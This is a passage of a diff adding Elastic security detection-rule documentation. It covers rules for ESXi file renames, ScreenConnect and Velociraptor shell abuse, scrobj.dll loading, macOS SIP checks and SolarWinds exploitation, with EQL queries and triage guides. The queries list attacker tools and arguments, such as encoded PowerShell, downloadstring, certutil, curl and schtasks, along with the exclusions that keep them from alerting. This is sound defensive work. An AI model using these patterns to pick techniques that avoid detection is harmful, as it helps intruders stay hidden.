identify potential threats. +- Consult with relevant stakeholders, such as system administrators or security teams, to verify if the rename action was part of a legitimate maintenance or operational task. + + +*False positive analysis* + + +- Routine maintenance or administrative tasks may involve renaming VMware ESXi files for organizational purposes. To manage this, identify and exclude specific users or processes that regularly perform these tasks from triggering alerts. +- Automated backup or snapshot processes might rename files temporarily as part of their operation. Review and whitelist these processes to prevent unnecessary alerts. +- Development or testing environments often involve frequent renaming of virtual machine files for configuration testing. Consider excluding these environments from the rule or setting up a separate monitoring profile with adjusted thresholds. +- System updates or patches might include scripts that rename files as part of the update process. Verify and exclude these scripts if they are known and trusted. +- Custom scripts or tools used by IT teams for managing virtual machines may rename files as part of their functionality. Ensure these scripts are documented and excluded from triggering the rule. + + +*Response and remediation* + + +- Immediately isolate the affected Linux system from the network to prevent further unauthorized access or potential spread of malicious activity. +- Verify the integrity of the renamed VMware ESXi files by comparing them with known good backups or snapshots, and restore any altered files from a secure backup if necessary. +- Conduct a thorough review of recent system logs and user activity to identify any unauthorized access or actions that may have led to the file renaming. +- Revert any unauthorized changes to system configurations or permissions that may have facilitated the renaming of critical files. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring on the affected system and similar environments to detect any further attempts at file masquerading or other suspicious activities. +- Review and update access controls and permissions for VMware ESXi files to ensure only authorized users have the ability to rename or modify these files. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action == "rename" and ( + file.Ext.original.name : ("*.vmdk", "*.vmx", "*.vmxf", "*.vmsd", "*.vmsn", "*.vswp", "*.vmss", "*.nvram", "*.vmem") or + (file.name == "index.html" and file.Ext.original.path like "/usr/lib/vmware/*") +) +and not ( + file.name : ("*.vmdk", "*.vmx", "*.vmxf", "*.vmsd", "*.vmsn", "*.vswp", "*.vmss", "*.nvram", "*.vmem") or + process.executable like ( + "/usr/sbin/gdm", "/usr/share/dotnet/dotnet", "/usr/bin/dotnet", "/usr/sbin/apache2", + "/var/lib/docker/overlay2/*/usr/bin/dotnet", "/usr/lib/3cxpbx/3cxSystemService" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-screenconnect-client-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-screenconnect-client-child-process.asciidoc new file mode 100644 index 0000000000..20eef25532 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-screenconnect-client-child-process.asciidoc @@ -0,0 +1,210 @@ +[[prebuilt-rule-8-19-20-suspicious-screenconnect-client-child-process]] +=== Suspicious ScreenConnect Client Child Process + +Identifies suspicious processes being spawned by the ScreenConnect client processes. This activity may indicate execution abusing unauthorized access to the ScreenConnect remote access software. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike + +*Version*: 313 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious ScreenConnect Client Child Process* + + +ScreenConnect, a remote access tool, facilitates legitimate remote support but can be exploited by adversaries to execute unauthorized commands. Malicious actors may spawn processes like PowerShell or cmd.exe via ScreenConnect to perform harmful activities. The detection rule identifies such suspicious child processes, focusing on unusual arguments and process names, indicating potential abuse of remote access capabilities. + + +*Possible investigation steps* + + +- Review the parent process name to confirm it is one of the ScreenConnect client processes listed in the query, such as ScreenConnect.ClientService.exe or ScreenConnect.WindowsClient.exe, to verify the source of the suspicious activity. +- Examine the child process name and arguments, such as powershell.exe with encoded commands or cmd.exe with /c, to identify potentially malicious actions or commands being executed. +- Check the network activity associated with the suspicious process, especially if the process arguments include network-related terms like *http* or *downloadstring*, to determine if there is any unauthorized data exfiltration or command and control communication. +- Investigate the user account under which the suspicious process was executed to assess if the account has been compromised or is being misused. +- Correlate the event with other security alerts or logs from data sources like Elastic Defend or Microsoft Defender for Endpoint to gather additional context and identify any related malicious activities. +- Review the system's recent activity and changes, such as new scheduled tasks or services created by schtasks.exe or sc.exe, to identify any persistence mechanisms that may have been established by the attacker. + + +*False positive analysis* + + +- Legitimate IT support activities using ScreenConnect may trigger the rule when executing scripts or commands for maintenance. To manage this, identify and whitelist specific IT support accounts or IP addresses that regularly perform these actions. +- Automated scripts or scheduled tasks that use ScreenConnect for routine operations might be flagged. Review and document these scripts, then create exceptions for known benign processes and arguments. +- Software updates or installations initiated through ScreenConnect can appear suspicious. Maintain a list of approved software and update processes, and exclude these from the rule. +- Internal security tools or monitoring solutions that leverage ScreenConnect for legitimate purposes may be detected. Verify these tools and add them to an exclusion list to prevent false positives. +- Training sessions or demonstrations using ScreenConnect to showcase command-line tools could be misinterpreted as threats. Ensure these sessions are logged and recognized as non-threatening, and adjust the rule to accommodate these scenarios. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Terminate any suspicious processes identified in the alert, such as PowerShell, cmd.exe, or other flagged executables, to halt any ongoing malicious activity. +- Review and revoke any unauthorized user accounts or privileges that may have been created or modified using tools like net.exe or schtasks.exe. +- Conduct a thorough scan of the affected system using endpoint protection tools to identify and remove any malware or unauthorized software installed by the attacker. +- Restore the system from a known good backup if any critical system files or configurations have been altered or compromised. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for ScreenConnect and other remote access tools to detect similar activities in the future, ensuring that alerts are promptly reviewed and acted upon. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : + ("ScreenConnect.ClientService.exe", + "ScreenConnect.WindowsClient.exe", + "ScreenConnect.WindowsBackstageShell.exe", + "ScreenConnect.WindowsFileManager.exe") and + ( + (process.name : "powershell.exe" and + process.args : ("-enc", "-ec", "-e", "*downloadstring*", "*Reflection.Assembly*", "*http*")) or + (process.name : "cmd.exe" and process.args : "/c") or + (process.name : "net.exe" and process.args : "/add") or + (process.name : "schtasks.exe" and process.args : ("/create", "-create")) or + (process.name : "sc.exe" and process.args : "create") or + (process.name : "rundll32.exe" and not process.args : "url.dll,FileProtocolHandler") or + (process.name : "msiexec.exe" and process.args : ("/i", "-i") and + process.args : ("/q", "/quiet", "/qn", "-q", "-quiet", "-qn", "-Q+")) or + process.name : ("mshta.exe", "certutil.exe", "bistadmin.exe", "certreq.exe", "wscript.exe", "cscript.exe", "curl.exe", + "ssh.exe", "scp.exe", "wevtutil.exe", "wget.exe", "wmic.exe") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-script-object-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-script-object-execution.asciidoc new file mode 100644 index 0000000000..735dff5e10 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-script-object-execution.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-20-suspicious-script-object-execution]] +=== Suspicious Script Object Execution + +Identifies scrobj.dll loaded into unusual Microsoft processes. This usually means a malicious scriptlet is being executed in the target process. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Script Object Execution* + + +The scrobj.dll is a legitimate Windows library used for executing scriptlets, often in automation tasks. However, adversaries can exploit it to run malicious scripts within trusted processes, evading detection. The detection rule identifies unusual loading of scrobj.dll in non-standard processes, flagging potential misuse. By excluding common executables, it focuses on anomalous activity, aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the process executable path to confirm if it is indeed non-standard for loading scrobj.dll, as specified in the query. +- Check the parent process of the flagged executable to understand how it was initiated and assess if it aligns with typical behavior. +- Investigate the user account associated with the process execution to determine if it is a legitimate user or potentially compromised. +- Analyze recent activity on the host for any other suspicious behavior or anomalies that might correlate with the alert. +- Examine network connections from the host to identify any unusual or unauthorized external communications that could indicate malicious activity. +- Review historical data for similar alerts on the same host to identify patterns or repeated suspicious behavior. + + +*False positive analysis* + + +- Legitimate administrative scripts may trigger the rule if they are executed using non-standard processes. To handle this, identify and document regular administrative tasks that use scriptlets and exclude these specific processes from the rule. +- Custom enterprise applications that utilize scrobj.dll for legitimate automation purposes might be flagged. Review these applications and add them to the exclusion list if they are verified as safe. +- Scheduled tasks or maintenance scripts that load scrobj.dll in non-standard processes can cause false positives. Regularly audit scheduled tasks and exclude known safe processes from the detection rule. +- Development or testing environments where scriptlets are frequently used for automation may generate alerts. Consider creating a separate rule set for these environments to reduce noise while maintaining security monitoring. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further execution of potentially malicious scripts and lateral movement. +- Terminate any suspicious processes identified as loading scrobj.dll in non-standard executables to halt malicious activity. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious scripts or files. +- Review and restore any altered system configurations or settings to their default state to ensure system integrity. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement application whitelisting to prevent unauthorized execution of scripts and binaries, focusing on the processes identified in the detection rule. +- Update detection mechanisms to monitor for similar activities across the network, ensuring that any future attempts to exploit scrobj.dll are promptly identified and addressed. + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and + (event.category : ("library", "driver") or (event.category == "process" and event.action : "Image loaded*")) and + (?dll.name : "scrobj.dll" or ?file.name : "scrobj.dll") and + process.executable : ("?:\\Windows\\System32\\*.exe", "?:\\Windows\\SysWOW64\\*.exe") and + not process.executable : ( + "?:\\Windows\\System32\\cscript.exe", + "?:\\Windows\\SysWOW64\\cscript.exe", + "?:\\Windows\\system32\\msiexec.exe", + "?:\\Windows\\SysWOW64\\msiexec.exe", + "?:\\Windows\\System32\\smartscreen.exe", + "?:\\Windows\\system32\\taskhostw.exe", + "?:\\windows\\system32\\inetsrv\\w3wp.exe", + "?:\\windows\\SysWOW64\\inetsrv\\w3wp.exe", + "?:\\Windows\\system32\\wscript.exe", + "?:\\Windows\\SysWOW64\\wscript.exe", + "?:\\Windows\\System32\\mshta.exe", + "?:\\Windows\\system32\\mobsync.exe", + "?:\\Windows\\SysWOW64\\mobsync.exe", + "?:\\Windows\\System32\\cmd.exe", + "?:\\Windows\\SysWOW64\\cmd.exe", + "?:\\Windows\\System32\\OpenWith.exe", + "?:\\Windows\\System32\\wbem\\WMIADAP.exe", + "?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-shell-execution-via-velociraptor.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-shell-execution-via-velociraptor.asciidoc new file mode 100644 index 0000000000..c076171f70 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-shell-execution-via-velociraptor.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-20-suspicious-shell-execution-via-velociraptor]] +=== Suspicious Shell Execution via Velociraptor + +Detects shell executions (cmd, PowerShell, rundll32) spawned by Velociraptor. Threat actors have been observed installing Velociraptor to execute shell commands on compromised systems, blending in with legitimate system processes. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/active-exploitation-solarwinds-web-help-desk-cve-2025-26399 +* https://attack.mitre.org/techniques/T1219/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Execution +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Shell Execution via Velociraptor* + + +Velociraptor is a legitimate endpoint visibility and response tool. Threat actors have been observed deploying it on compromised systems to run shell commands (cmd, PowerShell, rundll32), making their activity look like normal Velociraptor-collector behavior. + + +*Possible investigation steps* + + +- Confirm the parent process name matches a Velociraptor binary (e.g. velociraptor.exe, Velociraptor.exe) and the child is cmd.exe, powershell.exe, or rundll32.exe. +- Review the child process command line for suspicious or interactive commands (e.g. download, lateral movement, credential access) versus known Velociraptor artifact scripts (Get-LocalGroupMember, Get-Date, registry queries, Velociraptor Tools module). +- Identify how Velociraptor was installed (dropped by another process, scheduled task, service); correlate with earlier process or file events on the host. +- Check whether the Velociraptor executable path and code signature are expected (e.g. Program Files vs. temp or user writable); unauthorized installs are often from non-standard paths. +- Correlate with other alerts for the same host or user (initial access, persistence, C2) to determine if this is abuse vs. legitimate IR/DFIR use. + + +*False positive analysis* + + +- Legitimate Velociraptor artifacts that run Get-LocalGroupMember, Get-Date, registry Run key checks, or Velociraptor Tools PowerShell module are excluded by the rule; remaining FPs may be custom artifacts. Allowlist by command-line pattern or host if you use Velociraptor for authorized IR and see known-good artifacts. + + +*Response and remediation* + + +- If abuse is confirmed: isolate the host, terminate the Velociraptor and child shell processes, and remove the Velociraptor installation (binary, service, config). +- Determine how Velociraptor was deployed and close the initial access vector; rotate credentials for affected accounts. +- If the deployment was authorized (IR/DFIR), document and tune the rule or add an exception to reduce noise. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.command_line != null and + process.parent.name : "velociraptor.exe" and + process.name : ("cmd.exe", "powershell.exe", "rundll32.exe") and + not (process.name : "powershell.exe" and process.command_line : "*RwBlAHQALQBMAG8AYwBhAGwARwByAG8AdQBwAE0AZQBtAGIAZQBy*") and + not (process.name : "powershell.exe" and process.command_line : "*RwBlAHQALQBEAGEAdABl*" and process.command_line : "*-Format*") and + not (process.name : "cmd.exe" and process.command_line : "*start*127.0.0.1:8889*") and + not (process.name : "powershell.exe" and process.command_line : "*RwBlAHQALQBJAHQAZQBt*" and process.command_line : "*UgBlAGcAaQBzAHQAcgB5*" and process.command_line : "*UgB1AG4A*") and + not (process.name : "powershell.exe" and + process.args : ("RwBlAHQALQ*", "UgBlAG0AbwB2AGUALQBJAHQAZQBtACA*", "C:\\Program Files\\Velociraptor\\thor.db", + "import-module \"C:\\Program Files\\Velociraptor\\Tools\\*")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Sub-technique: +** Name: Remote Desktop Software +** ID: T1219.002 +** Reference URL: https://attack.mitre.org/techniques/T1219/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-sip-check-by-macos-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-sip-check-by-macos-application.asciidoc new file mode 100644 index 0000000000..1ad0fcaf98 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-sip-check-by-macos-application.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-20-suspicious-sip-check-by-macos-application]] +=== Suspicious SIP Check by macOS Application + +Detects the unusual use of csrutil by a macOS application to check System Integrity Protection (SIP) status. While not malicious in itself, this activity is highly indicative of malware verifying it is not running in a virtual machine or protected environment prior to executing its payload. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious SIP Check by macOS Application* + + +This rule detects a macOS application bundle launching `csrutil status` and explicitly parsing for “enabled,” an uncommon behavior that often signals preflight environment checks. Attackers use this to confirm System Integrity Protection constraints before deciding whether to attempt persistence, injection, or privilege escalation, or to abort execution to avoid analysis. A common pattern is a trojanized app from a mounted disk image performing the SIP check immediately after first launch, then conditionally unpacking and running a secondary payload. + + +*Possible investigation steps* + + +- Identify the initiating application bundle and validate its provenance by reviewing its code signature, notarization status, Team ID, and download origin (e.g., Gatekeeper quarantine attributes and DMG mount source). +- Build a short timeline around the SIP check to see what executed next from the same parent chain (new processes, scripts, installers, or command interpreters) and whether execution diverged after reading “enabled.” +- Inspect the app’s bundle contents and related file activity for dropped binaries, launch agents/daemons, login items, or modified plist files that indicate persistence or staged payload execution. +- Look for follow-on discovery and defense-evasion behavior on the host (e.g., VM/sandbox checks, system profiling, security tool enumeration, permission prompts abuse) that would support a malware preflight workflow. +- If suspicious, isolate the host and collect the app bundle, associated DMG, and execution artifacts for detonation and reverse engineering, then hunt for the same app hash/Team ID across the fleet. + + +*False positive analysis* + + +- A legitimate enterprise-managed macOS application performing a preflight compatibility or supportability check may invoke `csrutil status` and look for “enabled” to decide whether to proceed with installing drivers, configuring system settings, or enabling features that require SIP-related constraints awareness. +- A user-initiated security/compliance workflow from a GUI app (e.g., a system configuration, diagnostic, or remediation utility distributed as an `.app` from `/Applications` or a mounted volume) may run `csrutil status` and parse for “enabled” to display a health report or to gate remediation instructions without any malicious follow-on activity. + + +*Response and remediation* + + +- Isolate the affected macOS host from the network and prevent further execution by quitting the initiating `.app` and blocking its bundle identifier/hash via MDM/EDR policy. +- Acquire and preserve artifacts for analysis, including the full `.app` bundle, the originating DMG/ZIP (if launched from `/Volumes`), Gatekeeper quarantine metadata, and recent install logs to trace the download source and execution chain. +- Eradicate by removing the suspicious application and any follow-on components it created (new LaunchAgents/LaunchDaemons, Login Items, cron entries, and dropped executables in user and system Library paths), then terminate any child processes spawned after the SIP check. +- Recover by reinstalling trusted software from known-good sources, rotating credentials used on the host since the first execution, and monitoring for re-creation of persistence files or repeated `csrutil status` checks from application bundles. +- Escalate to incident response if the app is unsigned/notarization-failed, originates from a mounted volume or user Downloads, or if post-check activity includes attempts to modify security settings, write to persistence locations, or launch interpreters like `bash`, `zsh`, `python`, or `osascript`. +- Harden by enforcing only notarized/signed app execution (Gatekeeper/MDM restrictions), blocking untrusted apps from removable/mounted volumes, and deploying detections for app-bundled execution of `csrutil` and subsequent persistence creation. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + process.command_line like "*csrutil*status*" and + process.command_line like "*enabled*" and + (process.parent.executable like "/*.app/*" or + process.parent.executable like "/Applications/*.app/*" or + process.parent.executable like "/Volumes/*.app/*") and + not process.parent.executable == "/Library/Application Support/Mosyle/MosyleMDM.app/Contents/MacOS/MosyleMDM" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Virtualization/Sandbox Evasion +** ID: T1497 +** Reference URL: https://attack.mitre.org/techniques/T1497/ +* Sub-technique: +** Name: System Checks +** ID: T1497.001 +** Reference URL: https://attack.mitre.org/techniques/T1497/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Virtualization/Sandbox Evasion +** ID: T1497 +** Reference URL: https://attack.mitre.org/techniques/T1497/ +* Sub-technique: +** Name: System Checks +** ID: T1497.001 +** Reference URL: https://attack.mitre.org/techniques/T1497/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-solarwinds-web-help-desk-java-module-load-or-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-solarwinds-web-help-desk-java-module-load-or-child-process.asciidoc new file mode 100644 index 0000000000..a9a7ddfdfb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-solarwinds-web-help-desk-java-module-load-or-child-process.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-20-suspicious-solarwinds-web-help-desk-java-module-load-or-child-process]] +=== Suspicious SolarWinds Web Help Desk Java Module Load or Child Process + +Identifies the SolarWinds Web Help Desk Java process loading an untrusted or remote native module (DLL). This behavior is uncommon for the Web Help Desk server and may indicate successful exploitation of deserialization vulnerabilities (CVE-2025-40536, CVE-2025-40551), which allow attackers to load malicious SQLite extensions and achieve remote code execution. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* 